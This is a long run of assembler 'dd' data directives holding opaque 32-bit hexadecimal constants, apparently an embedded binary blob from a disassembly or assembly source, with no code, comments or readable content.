dd 0D273646Ch, 0E660AAE8h, 0F2012A76h, 0FC0B7719h, 68DC1CE9h
dd 0B55E2651h, 485F0093h, 29FDA2D5h, 330AC48h, 0FCEB0C2Eh
dd 31DCA0AFh, 638C0088h, 0E7A97EAAh, 0F900DAE9h, 1F78B957h
dd 9B4756Fh, 3DBD4F16h, 150E3C00h, 5300541Dh, 0E83E76D6h
dd 21306Bh, 0C4C86858h, 3637D507h, 0D0105760h, 23BEB7h
dd 8E2DDEF9h, 27B9C0E7h, 0FEE04100h, 9724DEBh, 92983DDDh
dd 6A7E12h, 1D02544h, 51037FE9h, 18C09314h, 7DE8B0E5h
dd 3B732CEFh, 4A05BA9Ch, 0C031DB17h, 0BEDAA51Ah, 61EB3A1Eh
dd 4BF5A9C0h, 4B7543Bh, 37445FADh, 850D069h, 0F907CD80h
dd 288AE92Fh, 0EFA3D280h, 0AAFB50D8h, 38AB1F6Dh, 0E7A60079h
dd 68C0FE1Bh, 0D10B7800h, 3FB0B35Fh, 6494A190h, 0D1060h
dd 0EB54DB6Dh, 129C970Eh, 91A7D801h, 275E9428h, 2D9960h
dd 60521A03h, 0E75F9DFh, 0CF5DD100h, 0C91F862Fh, 41AB00D5h
dd 5E97CBDAh, 0E70E4237h, 80D14C87h, 3A195149h, 726300B2h
dd 1C352E66h, 59065D1Bh, 2756B4Dh, 0A1960048h, 82BA7C36h
dd 8F0034CDh, 8EBE695Bh, 13A41F1h, 28540232h, 0D87316EAh
dd 4E3F7C31h, 40498EBCh, 17BDE018h, 0E415E07Bh, 50620067h
dd 0C6B3235Dh, 0A028DDCh, 6D7CAEF4h, 32504863h, 1CFA0074h
dd 37E49766h, 8C0020D5h, 0B38AB8F3h, 5877072Ah, 95121446h
dd 38A01AAh, 606CFB61h, 0D20014F4h, 6E0D6079h, 0C3AAB353h
dd 0A7DEA37Eh, 7174D084h, 0F8A85FF6h, 6B009804h, 78020FC0h
dd 7C4D4007h, 0A9E41E94h, 32BF2660h, 0A402F111h, 5F5920FDh
dd 4B009AF6h, 96E373AFh, 608E076Bh, 1E4588Ch, 5F4ABC60h
dd 0F5DDB9B0h, 3E6C874h, 0D709757Ah, 589EA5BEh, 0A1DD1914h
dd 0DD40B50h, 0FD388509h, 21C45400h, 0D23473h, 5A747961h
dd 1B91F962h, 5D805060h, 99D5A9h, 14C6193Bh, 0E686B209h
dd 0BB934E03h, 0AC52C74Ah, 15383700h, 2094E5FCh, 9D10FDF1h
dd 55079974h, 0AF6B8E3Bh, 3E98AE60h, 0D1900F94h, 2D43789Fh
dd 9DE0BC34h, 0C600EC9Bh, 7793FE67h, 0EE1D30h, 956290BFh
dd 0D36C0220h, 8DD6520h, 0FC4D873Dh, 18C21460h, 36AFEE6h
dd 0A0716E60h, 0C891B772h, 5DD704Dh, 1286B001h, 0BED53C23h
dd 0CC83C4h, 0F828B7FAh, 93C9C3DAh, 0F5953E12h, 0E740FC01h
dd 0ACF04DA9h, 1EAF00FEh, 3D5FBA87h, 7587933h, 0D2CD0004h
dd 0B45D1AFCh, 4857537h, 7F120DF8h, 4AACC396h, 0D5982C98h
dd 2471DA01h, 798D9485h, 76CFFD60h, 20FA7710h, 75074B01h
dd 71509B17h, 5FCE4780h, 445702BEh, 6BACA531h, 0BF2E48E0h
dd 68081F03h, 0D801CBEBh, 1A1B9Eh, 0D7770F0Dh, 0E52994F9h
dd 2E7CC8A8h, 61506000h, 0F497E881h, 9890EAD0h, 87480088h
dd 38203CF3h, 62EA6E02h, 4661BE07h, 0C5DE0F77h, 0F4818D55h
dd 51809236h, 215F0D79h, 5760A376h, 24013C90h, 119C6075h
dd 6D1AFA3Dh, 78E8D248h, 0F11D1600h, 0FEB5CAADh, 0BECE004Ah
dd 3EF22213h, 0C50031BAh, 41301525h, 12FF1D6h, 740B92CAh
dd 308B0E06h, 703E9787h, 8F2A04C2h, 57803E29h, 0F0854921h
dd 0AE5004Bh, 0C3FA6764h, 75004432h, 0F7CFD505h, 1CF076h
dd 15A859F6h, 0C1E694F4h, 80288F39h, 727B03F2h, 78F149E0h
dd 587018Dh, 958536B2h, 317D30A8h, 9A0C8600h, 0A5D91777h
dd 7B7703Eh, 83576C2Fh, 56FCE072h, 0F800AE79h, 3A7CB008h
dd 0ED411ECh, 0E862574Eh, 5EF737A0h, 0F11647B8h, 0A60040C7h
dd 0D146B1F6h, 2654062Bh, 80F4CDA7h, 9279803h, 0BBB83F34h
dd 0D46BA8D3h, 922F3EA5h, 7EAC00CAh, 0A47D1B47h, 0BB190A07h
dd 0A986A91h, 80485439h, 6185AD87h, 9600D60Dh, 66F4D4DCh
dd 9BBB94Ah, 44162073h, 672284A0h, 7E00AB4Eh, 0FE61D45Bh
dd 0A4D70Fh, 0DBA4612h, 0DFD0E1B7h, 0AE02A673h, 8F170578h
dd 0E85049h, 0A7530A4Eh, 443DAD67h, 645C2C92h, 17A800C0h
dd 18851B2Ch, 3D7E035Ah, 1570D9FCh, 0D12B66D0h, 7C57F624h
dd 3CD24480h, 84734h, 0DCEE5293h, 358320A0h, 2A0D4Ah, 413F4813h
dd 6B162B40h, 0D612D852h, 0B63ED400h, 57D7C18Fh, 0F830046h
dd 0D57FA87Dh, 8613AF8Bh, 571E2381h, 59C0AA87h, 0BA670510h
dd 0E77B00C8h, 8876F3Dh, 0CC0B920Fh, 384D5Ah, 0E3E8B4EAh
dd 462A0193h, 86FBCF2Ch, 5A20ECDAh, 966A061Dh, 61CC9881h
dd 3DC8056Dh, 95ED0F9Eh, 409D54DCh, 3E782F59h, 92123AD2h
dd 1F0030AAh, 710AFD26h, 0FEE9024Fh, 0E8120595h, 0C832B2E0h
dd 0DA4D5D00h, 0D99DF50h, 0BBF30E71h, 33E0BC97h, 9316F251h
dd 8ACCBD54h, 9000157Ch, 84A18C7h, 611ED8h, 1F51E210h
dd 20D1EE64h, 0D201C5EEh, 0BA248337h, 64304A68h, 60F30FF9h
dd 5F8EB952h, 74B116C3h, 9CCBBFE0h, 3A9D0200h, 210E2C8Dh
dd 8398007Eh, 0D6441BF2h, 0C1248B6Ah, 0BB483Dh, 0B01CB39Eh
dd 17C33001h, 28D59286h, 6060CED8h, 9A6178D4h, 0AD9401A7h
dd 9ED6F063h, 73E0F486h, 8800C4B8h, 7B36614h, 2E62E1A3h
dd 87D01591h, 0C6F91730h, 6B017928h, 6576E3BEh, 1824DA55h
dd 0ADBF2569h, 280D8080h, 0FEFC956Eh, 6F2A7800h, 426DA21Bh
dd 6BD00085h, 712760D9h, 0CC00BED8h, 6398BF2Ah, 29416B7h
dd 0EABC2F85h, 0CB805C70h, 3A130A65h, 0C908D407h, 0B5A0423Bh
dd 1F54ECE0h, 0C003EF21h, 0B2248E7Ah, 0DF77869Bh, 3900D2F8h
dd 0B9A24840h, 1E615DD3h, 42E530FDh, 0AD98A9D9h, 0AB3D1240h
dd 38E47A00h, 899D895h, 0A49D002Ch, 4B5D474h, 0EB00B018h
dd 0D64E633Eh, 0E84F3Bh, 0C9679350h, 0E0C38BAEh, 4142642Ch
dd 0C2D54002h, 0F4CC70AAh, 0D04316EFh, 0E8420663h, 61F230C8h
dd 0B70AE300h, 0F5F3602Bh, 9CAA0096h, 53B8FD12h, 1A703670h
dd 39000EF8h, 5F07D3F6h, 0A501582h, 89A6D280h, 945D00B6h
dd 19F1FB71h, 0C4F77702h, 607E1C34h, 0F8435CAh, 6C8FB1F3h
dd 0C1E90C0h, 97FC58A9h, 0C838B20Eh, 31FB8070h, 268F89h
dd 0B89AE3A6h, 0E8BEF084h, 0D0663301h, 0D6C9ED4Fh, 0C0C80CFDh
dd 0CAC800E5h, 0F9214659h, 99003A5Ah, 86CF5479h, 75F7BDDCh
dd 9116005Dh, 0C2CEAB1Ah, 0E400BAD4h, 0A2312568h, 2634D8h
dd 0DEFA754Bh
dd 4CA578B2h, 2CC3801h, 0AADB4A46h, 1300A869h, 620C39EEh
dd 16146C3Ah, 947A86h, 74418CEDh, 601ADEh, 32730C0Eh, 0B0E34DE4h
dd 18C264Ch, 7FBF7895h, 0A4D414FCh, 202B3D13h, 44E5592h
dd 0C4361610h, 0C4E48C98h, 880AC05h, 74C07D13h, 831530h
dd 0B07F4CF6h, 36AC7195h, 80416D25h, 0D0BA9388h, 0D57C0061h
dd 266E4A09h, 3E506CC1h, 0C92EBC10h, 0DF81D861h, 0E541DD90h
dd 0A4D0886h, 98F01844h, 0FFECDEF8h, 25F2400h, 854EDC0Ch
dd 9BF61D28h, 5C550041h, 0E6B36CA8h, 0BC60A900h, 8580621Fh
dd 6A51CF5Fh, 1722FC20h, 260A6D02h, 543D6CBCh, 7C621C82h
dd 0DD50375h, 5C5350A2h, 72B83D00h, 1DF58D2h, 0B12DE1BBh
dd 0C068711Dh, 0C500D901h, 4645BF20h, 0EE3DBCh, 0E2786656h
dd 55C20949h, 71B6AAA3h, 0DA3C1900h, 61ADD3EAh, 67C13004h
dd 2BE91E69h, 66EC701Fh, 0C11BE0Ah, 75D99F82h, 31150468h
dd 0F908C633h, 4B08E542h, 0FD916EA9h, 2E30E606h, 921D30D8h
dd 1620E2A6h, 4074455Dh, 6669085Ch, 220C981Ch, 2094DEA5h
dd 0B5BA00DBh, 0BE05A4E2h, 38C3EDA6h, 0A4CB2BDCh, 63684F40h
dd 363C223Bh, 79AC1E8Ah, 700FEB1Eh, 557099E9h, 0E046AB11h
dd 8A18EE8h, 56DBE045h, 2420E389h, 7E5507AFh, 22E6D495h
dd 0A478EA84h, 7F10E80Ch, 540BC8EBh, 136AC40h, 0A2414CC6h
dd 2C073E2Eh, 4FFF0044h, 55813276h, 0A0F6000Dh, 877E333Fh
dd 8A3866F8h, 8635B843h, 0C57DFA12h, 78EE0CF0h, 9060D7A1h
dd 30E2F905h, 0A800A43Ah, 0FCFD0DD4h, 7605F487h, 94170056h
dd 33CDCB75h, 9E3FD26Dh, 0AEB80FC1h, 0AAE20734h, 3F70B160h
dd 0AF810F78h, 9A815CA9h, 0C091EC7Ah, 0B033F225h, 0A8E51894h
dd 3010E43Ah, 1D80C74Bh, 271D23F7h, 16C5A180h, 0E404E776h
dd 14803E82h, 2FFD112h, 6236D50Eh, 0E4A25BE9h, 0A0D8A99Ah
dd 0E1B05902h, 0C069B4F5h, 35CA0Ah, 19ABE89h, 784DB19h
dd 72002892h, 31C802BDh, 0A0BCAh, 2D7B9056h, 0DD2EBF18h
dd 4759800h, 4B455CAAh, 0E6D20039h, 9D861DBh, 0C07692Fh
dd 49F7C454h, 27359DF0h, 1DEC982Bh, 9BC07Dh, 0C5DA8104h
dd 11CA48D1h, 0E2DD0449h, 54E3988Bh, 317AECE0h, 0A60E0D01h
dd 48DB5FE0h, 3FDC4E4h, 0A55BE358h, 2808D8ACh, 100A0913h
dd 0AE0C930Ch, 44B12857h, 86443BABh, 3D5C44F8h, 50597020h
dd 652528FDh, 0EE4794Ah, 51881D14h, 88AD0908h, 0D0915019h
dd 1CA53800h, 1D03B423h, 0A9089709h, 16D28049h, 0EB8EB5Dh
dd 90BF44F6h, 2C20C64Eh, 6E89A7Fh, 0C5C7FF00h, 711BE1DDh
dd 0C22E00CDh, 0ABAFE0F8h, 0B3013E19h, 7B371D57h, 3AE49A32h
dd 0F661004Ch, 0E464A1B8h, 76000DBBh, 0B2C1C92Ch, 0D3596Ah
dd 7834D6F3h, 45C64823h, 424DE300h, 82AFE677h, 179F01FEh
dd 4A61F022h, 0E2C8FBA4h, 0D200CAFFh, 12F8F998h, 0AB9AA6h
dd 67A8D848h, 791B73D7h, 192C2254h, 3DF38709h, 2C7E809Ch
dd 6013A333h, 0EA8E2A5Bh, 3E61030h, 0A2AFA5Ch, 0F406D175h
dd 4ECC560Eh, 1462060h, 6E85A8h, 5A8BD557h, 175CF563h
dd 2FF91D2Eh, 0EDB1E501h, 5681F359h, 0FDCAE189h, 0C453C895h
dd 0FBD5CC00h, 0E2F1391Fh, 2C78C02Fh, 2235B731h, 52611500h
dd 0D1558C11h, 340E4889h, 0ABD4300Eh, 0EC129D00h, 14008AB1h
dd 68FEE14Ch, 7148BBF7h, 8CEF00A8h, 0E921581h, 7B1CF2F0h
dd 9F008096h, 1650338h, 6DEF0023h, 0B1F8B386h, 0EC0567D5h
dd 0B2712E6Ch, 2620C5C0h, 0B945001Ch, 0FFF3EA15h, 0E900C575h
dd 1431DB4h, 1FD66FCh, 0C662CDDAh, 0C44B3465h, 0AA008961h
dd 70F82E51h, 6BFF12h, 0A2D86D0Bh, 8CFC6A0Ch, 94D4C912h
dd 2F2C9400h, 3D42161Ch, 33005A4Dh, 6D051F7Dh, 12001122h
dd 4F297774h, 0EDD3ECh, 7B0A04B4h, 0F01F9FD6h, 0A5145100h
dd 0DD43917Ah, 0A04E1482h, 0A901975Eh, 0C05C7473h, 968C842h
dd 84BD000h, 8DB390D1h, 6C8C007Eh, 586DB0E2h, 0A006728Eh
dd 5B96F57Fh, 10630090h, 298A6EF9h, 3C7C3E01h, 0F4397407h
dd 41DE9A92h, 0FD6BE459h, 0D63060h, 8BC18F7Ch, 1154CD55h
dd 0D70CD4A0h, 0E50A1700h, 2D45E928h, 374E00D2h, 4826CF6Dh
dd 92002BB6h, 5DBBA306h, 2FFBE4h, 0EBF28DC9h, 38A42749h
dd 3D51D500h, 3ED246BDh, 77DEC620h, 630E9019h, 4036A70Bh
dd 75AABACFh, 0FB41004Ah, 0E10DB63Eh, 4C900E07h, 1EC55C0Fh
dd 0A55E03DBh, 8334D0C0h, 7E970035h, 0C4BFFBB5h, 84001118h
dd 52A3DF72h, 1624587h, 6E59EEEDh, 200A8F73h, 1075D37Ch
dd 949AB400h, 3D5C641h, 33A000CEh, 3997A67Ah, 1158A805h
dd 78F70014h, 0F97E9AF0h, 137DCAh, 0CF29BFC1h, 0D6FA35B3h
dd 27B72400h, 1D15FE6Ah, 0D7872C5Bh, 1F60306Bh, 0D100F2F5h
dd 4838C7F0h, 3C45D34Ah, 0B3002D4Fh, 44280DEBh, 290076ADh
dd 0DF548C21h, 0F9E3539h, 1A694B7h, 0C467ABA0h, 961EB385h
dd 0B2EC6FDCh, 0CCBF8F00h, 0B67207h, 6193A8C2h, 0AE42B775h
dd 0DCA8E00h, 62630941h, 0C6AB1E0Fh, 596B8169h, 0C8CDE5AAh
dd 0E00DADCh, 0D3F8633Eh, 1EF3E3A6h, 8015D9D1h, 0A7CE5E17h
dd 0F50BFEA2h, 80597382h, 0F1432543h, 0DE120124h, 764C71F4h
dd 48020D1h, 0C5EE840Ah, 4513B00Ch, 447F2C00h, 0A0F363E4h
dd 0A4191F0h, 0E548B22Eh, 0B7C400AEh, 588E1CAFh, 0BEE84500h
dd 9A79B00Fh, 0CD9C0582h, 10605944h, 750090A1h, 7050F09Eh
dd 25008AB3h, 1B8F2F78h, 0E02ABEEh, 4E987EA6h, 39CA6BE1h
dd 0B698FFCEh, 0BD00D8B1h, 0F7E54631h, 0D1FC63h, 4C4DDE66h
dd 989FA74h, 0FF22CE00h, 419C644Bh, 0E4FECCh, 0ED0D0782h
dd 0D6EF2F2Dh, 6E10A700h, 0B3316C85h, 4C9B0081h, 257A0224h
dd 3701E113h, 9247C03Bh, 72D8D448h, 536600D8h, 77A6EE9Fh
dd 390785D0h, 0CEF77C50h, 6FBA9CE0h, 28356063h, 2C84B1AEh
dd 4D156807h, 6EE0E058h, 1E5C553Eh, 349BCA0h, 61FB1882h
dd 38D046C3h, 0F007C59h, 36C6D831h, 7F64860Dh, 8876C7D2h
dd 15F920DFh, 0D01D6735h, 2CC09251h, 0AD7AA6BEh, 1EB30732h
dd 513344D4h, 80E8566Bh, 92BF2288h, 671A4Fh, 11C2CCBAh
dd 2168C3CEh, 600C4E4h, 0F26B12AAh, 9C0740h, 5220D966h
dd 0D0E6608Dh, 92DF5800h, 0F6C26983h, 113100E7h, 67C656D7h
dd 0D4F0660Eh, 0BB768D01h, 9A1C9214h, 2FD81C21h, 3E57009Ch
dd 0BCD5E0A2h, 0DC009B2Ah, 0DAB34394h, 0ED8D2C4Bh, 7111EECh
dd 0F4E76145h, 7894E0FCh, 50006834h, 5BD1BDFAh, 1F7954h
dd 5AE8032Ch, 0A444D8E3h, 0E664807h, 9B70B0C9h, 0F7ADF0h
dd 734F8C4Bh, 38C4EE30h, 0CBDC2700h, 43C9024Ah, 641348FDh
dd 0A10A3700h, 0F4B666A8h, 0FF3B5400h, 2E2FE399h, 405307AAh
dd 67A5A401h, 553370B6h, 3D07728Ch, 6C90A9D6h, 44739780h
dd 9B9D5041h, 0F8232608h, 7F810214h, 0AC661233h, 0FB56E601h
dd 3B0714DAh, 82C70h, 0B43A5AF2h, 0CBB0EE2h, 3188BF01h
dd 0A7F51B72h, 1994DDCh, 47710274h, 20E37BEFh, 290063A8h
dd 0C5C158C8h, 0F0590Fh, 0E580A0DFh, 7AA825C7h, 33326A01h
dd 2F46AAE8h, 93A1E0E2h, 0A1470F14h, 0B82D996h, 0C26002E6h
dd 6400C301h, 8DEFC6D4h, 0A09125h, 84F874B8h, 68239763h
dd 8060D93Fh, 76B0481h, 1F176D6h, 13B9B4A8h, 0D08FB747h
dd 0BC000B08h, 3988879Ah, 8D31ADh, 9ECE4AD7h, 0A13835A0h
dd 0B2083D0Eh
dd 28C960E5h, 81A40Fh, 0F9D3D9A6h, 0DD74C2E8h, 1BDF000h
dd 8F794057h, 9767026Ch, 0E3B43DB5h, 862C2840h, 55F05101h
dd 74CDAA69h, 7553DCh, 0AFA5C8ECh, 8505641Ah, 89B76D00h
dd 69B29813h, 8CAD002Eh, 9B930ED0h, 0A93DBDB4h, 97390853h
dd 503B80D4h, 87E49A3Fh, 0FA04D875h, 23475CE5h, 12E704A0h
dd 4CE245Fh, 8119B578h, 0D490A7E1h, 0EB00D481h, 865691AFh
dd 79FD959h, 0A13A8A89h, 0A4E1B021h, 810F47A9h, 0E0B95BBDh
dd 846F865h, 0CC550090h, 0B7438501h, 1716F1C0h, 0CC037B15h
dd 0DB3D06CDh, 381A828h, 0B2F00094h, 82A025B6h, 5F0BD490h
dd 80E4B92Ah, 28C7A26Dh, 0EA1C2818h, 0F051A0DDh, 0A1E205h
dd 4A44C587h, 3E1A96EEh, 793A6F09h, 744E35h, 0DAE0A641h
dd 5B474FB1h, 3E63BB01h, 70CF594h, 4B48F4h, 8CCF2432h
dd 5BE4019Bh, 85A8FC00h, 0FAF6BA08h, 0C8840069h, 0C9F8A23Dh
dd 15C8360h, 7BDC00F9h, 0FC0DBB08h, 6A580078h, 0B135137Ah
dd 0F1C007B6h, 9EFA3860h, 71F00028h, 0FF5E6F2Fh, 6D009CF5h
dd 0B1845270h, 1918967h, 4C77E6BBh, 21B40294h, 0F7DCF8B8h
dd 0EFAF2100h, 0C534AD54h, 0FFEE0072h, 0BF9AD060h, 300E2F4h
dd 0AADE31E0h, 148B7A76h, 0D0F320D1h, 15C03700h, 3A5F171Eh
dd 0B1686100h, 0F8DB6D0Fh, 7DE812A6h, 7EA0C0A9h, 70259937h
dd 5708817Bh, 0FF72A2h, 0B3D49C99h, 8E44AD01h, 2BA7D001h
dd 81CC5B6Eh, 0D480208Eh, 0C0C85E65h, 0EACF55F0h, 54AEDA00h
dd 0A0C0BCC3h, 5BB50003h, 8169D170h, 9026069Ch, 0F1004438h
dd 75443C63h, 15F30918h, 0E8600D26h, 0B300BA57h, 0E63E7854h
dd 62104Ch, 88506BC7h, 0D5C517Dh, 0CCB028C0h, 1D9805Fh
dd 2F4D2D05h, 0C4645B71h, 3010E18h, 17DF84E7h, 0CF8551Fh
dd 38056216h, 9F10CB6Fh, 0C0DAD8F6h, 4B00FA09h, 0FBB8170Fh
dd 0C27F2Ch, 1A0BD429h, 5F610A0Eh, 836C5D3Bh, 0A2552F5Eh
dd 0BC501009h, 0F17776CEh, 0CCA4E750h, 4000A070h, 652B2DCBh
dd 1AB06Dh, 8D0AF034h, 1E7C9D0Eh, 0B38FF900h, 4413DFFCh
dd 35C90DBh, 4739904Bh, 0E5C83DADh, 2C00748Eh, 1AFF30FEh
dd 0A01322FCh, 0EAF2B94h, 160BF577h, 48E5DA0Eh, 914408CCh
dd 0D2EA4280h, 4A4614h, 0AF9C2004h, 9701822Fh, 7CB8C254h
dd 0A080F312h, 20390800h, 0B138DA1h, 3DE30F6Fh, 11877C00h
dd 0DBE59EB4h, 7F96E580h, 0B8864C00h, 3D1B57EFh, 0B5B600F1h
dd 48B39128h, 0EA008CF0h, 83084B4Dh, 0FB69DFh, 772BDAEFh
dd 0E63003ABh, 80317C3Dh, 46B8229h, 15A955Fh, 1DB0CB33h
dd 0CC9BBF9Eh, 200058C1h, 0AFFE5CC2h, 33929816h, 0A5B80FC4h
dd 9F717088h, 80C09A53h, 33B0A4E9h, 0A7560050h, 6BFE8723h
dd 9F1DFFC5h, 0F31D0F3Eh, 834A7445h, 0A068844Ah, 0A6E75B04h
dd 7A78090h, 49F0B8F8h, 5A009080h, 4B0FCC50h, 881F5651h
dd 9B00B1BEh, 0AF9FFB19h, 1FB24F8Bh, 4176C04Ch, 2FB84D65h
dd 0B4390224h, 61CE87E0h, 1C492C4h, 26673758h, 24478E96h
dd 3C09B6A8h, 0A2EF0650h, 809AD120h, 391E8BF4h, 844B000Dh
dd 0FA72281Dh, 0BB06A345h, 0F177997Fh, 0AD5F0030h, 0B70825FBh
dd 4300FC59h, 0B2A4BDD4h, 6017EA9Dh, 6FC988DFh, 47F637B3h
dd 75B8BF5Ch, 23246D00h, 0D482E6D0h, 69730EF0h, 0D14E3DF9h
dd 805F96CBh, 0DB62F69h, 7D2B3F18h, 276D0B80h, 62606328h
dd 0AA018800h, 35C1A7E2h, 121D0096h, 490F10B8h, 0C2300C0Dh
dd 0A587F83Eh, 216400E4h, 6318B544h, 4F00A693h, 107E82FAh
dd 368197h, 6A1978A8h, 7B2CF945h, 8BF60F17h, 69C62C07h
dd 0E0940BB0h, 31C40053h, 25E5A8E2h, 4C1D70A9h, 0B0687E27h
dd 123B139h, 93B749EAh, 0F0408203h, 7E365C9h, 69417011h
dd 4B6E80BAh, 5B003C3Dh, 42626AE2h, 0E0C4084Ah, 609C82h
dd 73CAE096h, 0FF03B89Ch, 0CD7724D4h, 5E801D0Ch, 40CF4487h
dd 1C4E05F6h, 38CCF041h, 0A940C17Bh, 58E3B7FBh, 0E70B18CFh
dd 0A180BE49h, 2B608C26h, 320FA000h, 21D9E3Eh, 379200DBh
dd 3DF8529h, 0B0013DB1h, 5AD2B2FFh, 71FC8B76h, 50EAFC08h
dd 98C854h, 14F939D8h, 0A905F1C5h, 6AA7C000h, 575A2443h
dd 0DA7C263Ah, 952C34h, 0EF0A863h, 3E0023FBh, 29777E92h
dd 9165BFF3h, 2D813958h, 8F6856FCh, 0C989D4EEh, 9700B2F8h
dd 0A88D0D8Bh, 1CE5DE64h, 41A549Eh, 800837D2h, 2DE4EFA8h
dd 0CE007F76h, 7DF0AC4Ch, 7420973h, 55ABC9A7h, 0DD7B9059h
dd 4C01A2AEh, 98CAE32Dh, 0C360C17Ch, 57EE002Fh, 0AB67D5Ch
dd 6C2C43D8h, 0D90190F2h, 0AA710D16h, 51F4CEE1h, 5499001Eh
dd 8794E04Ah, 0EE01C80Eh, 0E6436C50h, 0BC60B617h, 0B8690789h
dd 0D31A6B95h, 6C809E2h, 23000734h, 0D1D4338Ch, 33A1140h
dd 7F971E63h, 0D580A529h, 0F500A00Bh, 0B81F7EFDh, 4C4BC960h
dd 5E1E0EADh, 3C668EB9h, 0B02F1580h, 0E3027881h, 5048B4C9h
dd 6D716033h, 38CE004Ah, 0F2318E1Ch, 0DE03A6EEh, 1E5C6E6Fh
dd 0DD180036h, 0FB92034Ah, 0AA0037F8h, 380D30E9h, 2783BEh
dd 0BF113671h, 0F186DCCBh, 3320E00Fh, 0EC32E02Ah, 0A06AD489h
dd 1236C4C2h, 0F0480E99h, 0B81E61BEh, 0CF47AA50h, 40EEF0C3h
dd 986869B3h, 0CBDC008Dh, 41AD6E49h, 53983E9Dh, 80C75C1Fh
dd 0BD33D1C0h, 2CCC13Ch, 63DB8315h, 0F760AB48h, 0E200FB73h
dd 0A6D3A8DFh, 3AC29C42h, 0F5E9FAAh, 0D4AB7738h, 666EC4A1h
dd 0DF86D0A7h, 96021E75h, 0FA3F936h, 24E458h, 227697C4h
dd 5D7A7278h, 0EAC50D3h, 148A1F02h, 5868713Ah, 44004605h
dd 90B0C345h, 290918h, 3724801Eh, 0FE2DB47Ch, 0DD009EECh
dd 87E76922h, 0EFDCAD1h, 0EB0E5D55h, 6709CBA9h, 0F9750020h
dd 0CA076A07h, 4923C503h, 4E8B0CC0h, 89E70A61h, 3CEF9037h
dd 149CD213h, 92C0E460h, 4FB92A5Ah, 1E203Fh, 0D0E24DE7h
dd 0FCF1C6CBh, 1BCE018Ah, 0D95189E5h, 0A7543004h, 8066763Eh
dd 0B68FFE6Ch, 4874C853h, 11C0075h, 0ED0900DAh, 9AE4433Dh
dd 95724000h, 3B4E499Fh, 49FCB223h, 0D7097CE6h, 0E493627Ah
dd 0D0FF6D93h, 0CC65A5C8h, 0A1BAF500h, 84F47EE1h, 0E5313061h
dd 99EAC680h, 233EC800h, 5C1D2936h, 0B20E1D40h, 59883006h
dd 0AA1839FAh, 63103FDAh, 28B0720Bh, 2DFC66FDh, 0C880EBACh
dd 2FCFC0C9h, 63E13812h, 0B50FA700h, 367E85Ah, 0D9F9174Ah
dd 6203BEF7h, 3DFFDD4Bh, 561AC81Eh, 0C27B2E61h, 0C0F81812h
dd 0B61775C3h, 7F0086BFh, 0DECFFB44h, 4B310F4Ah, 0E98DDA14h
dd 0EA78D828h, 23644E07h, 9E0030C6h, 17D405h, 21B3954h
dd 1EA70637h, 6012111Ch, 9A838D80h, 1F21CB5Ah, 404DF108h
dd 0D556DB0Ah, 0DD70F2F5h, 8F1E7A0Bh, 12E200D1h, 55BBA82h
dd 2BDFA9FFh, 6D2CB0B4h, 1797E800h, 0A2A1ED88h, 92D00734h
dd 70C10520h, 8A3D7427h, 0D5C4122Eh, 85A70201h, 22E8B2F8h
dd 0FF0F003h, 0C1A4DF72h, 0EC9A6500h, 1A002690h, 0F5A4F3Eh
dd 0D07837h, 0DA2B035Fh, 0BF98366Fh, 0A4646624h, 6705AB97h
dd 8402E002h, 4076DF0Eh, 2C0827D5h, 64701282h, 0B950C045h
dd 83004125h, 98811B61h, 98A03CD7h, 0D6B50009h, 0FD6BDF19h
dd 991616EEh, 4503C1DBh, 0E5301755h, 0B6E1F404h, 12AED47h
dd 707A2FFEh, 0C503728Dh, 93306B4Eh, 67E5B833h, 0D7D81650h
dd 2B9401B4h, 40A42CF7h, 49550ACBh, 0F06F0600h, 69EF5DD8h
dd 299007C9h, 30A2DDC6h
dd 38E3E913h, 0CD18147Fh, 4CE01235h, 55480E2Bh, 0C620423Ah
dd 0D9D1D6E4h, 80AD7C3Fh, 206AF36h, 220F7F9h, 0E3BC0877h
dd 9CE1D6DBh, 0CC58FA24h, 99854C00h, 3E218D04h, 2C9D1D57h
dd 0C819971Dh, 57E3F14h, 0C60066EAh, 4494031Eh, 1EE2DABCh
dd 7A96D379h, 0F08A0600h, 0EE7D898Ch, 8D2958E2h, 4301900Dh
dd 28A4E4BEh, 156E5CCh, 0CFDDB344h, 0E4574B0Eh, 0AE2FF6A6h
dd 0C3D001h, 0D5688188h, 0AA43F5DBh, 0F9D3D100h, 0AD1BA2DEh
dd 85540B06h, 74000117h, 12B88A2Dh, 4441D0B6h, 0BC247803h
dd 4E183EA8h, 38C7CA0Bh, 61292060h, 58451401h, 11DB62C0h
dd 84A6D8h, 7F810133h, 4E3999ACh, 0A9F7FA50h, 0B8F7261Ch
dd 96076B2Ch, 8B00A77Ch, 0F2A84F66h, 27F0002Eh, 8E88BBEEh
dd 610108E1h, 0ADAB1CE5h, 0D0F06494h, 9BCF30C1h, 47C0A821h
dd 61BC9F07h, 29F26826h, 532613Ch, 6E6DE4h, 0A8403DE9h
dd 702C3BBh, 694F3000h, 7C5ECADCh, 4E9A00BFh, 64FA0F2Fh
dd 3E26A14Dh, 0F00E4070h, 0BA3F604Fh, 0E45BE7D2h, 0A61F0172h
dd 0AE2DFDBFh, 2CB47442h, 0C2000773h, 0E3ADC3CBh, 48D3EDh
dd 0D47F5CCAh, 8EB203F6h, 84681205h, 802FE6Dh, 0E0D7C256h
dd 141F068h, 0A14AE6A5h, 411B937Ah, 949F03F7h, 0AD4960h
dd 1F0F500Ah, 0E81745C1h, 92C0E9B4h, 4C44A042h, 977A0388h
dd 9DD43D65h, 939E0802h, 0F0BC321Fh, 951014ECh, 4C3D2CA7h
dd 1AA4A887h, 5E9240AAh, 9700A6D6h, 1126B409h, 760B955Dh
dd 0C520C33Ch, 38007C5Fh, 7D91CC9Bh, 0A047933Dh, 60B93140h
dd 521A2079h, 0E5390FA9h, 3D72817Bh, 9E8D9512h, 0AFA47980h
dd 0BA329BA8h, 0E27D4CA0h, 0F77B600h, 55E5E7E1h, 6C5A38F6h
dd 0BFD84300h, 794F1E15h, 46A45700h, 78CC7A80h, 0CB3A020Dh
dd 301803DFh, 5B91C1C0h, 71FA2D00h, 0BFEFE175h, 6C0A0064h
dd 0C2868E5Eh, 7C03D010h, 0F96E9511h, 23438839h, 65F00E0h
dd 624BABB3h, 42007A24h, 756DFC81h, 144907h, 8798CC60h
dd 534582F9h, 6206DC1Dh, 7397EB87h, 50B6C530h, 2A7A0003h
dd 81800CC1h, 43004D48h, 0A8A0B93Fh, 15BDEBh, 9E496124h
dd 52E33427h, 9B113800h, 0D9CF9622h, 0C0540AE6h, 9EB4E4FAh
dd 0F2EE04CAh, 0BA60B813h, 7A15A60Ch, 0BFFC0F10h, 9A372300h
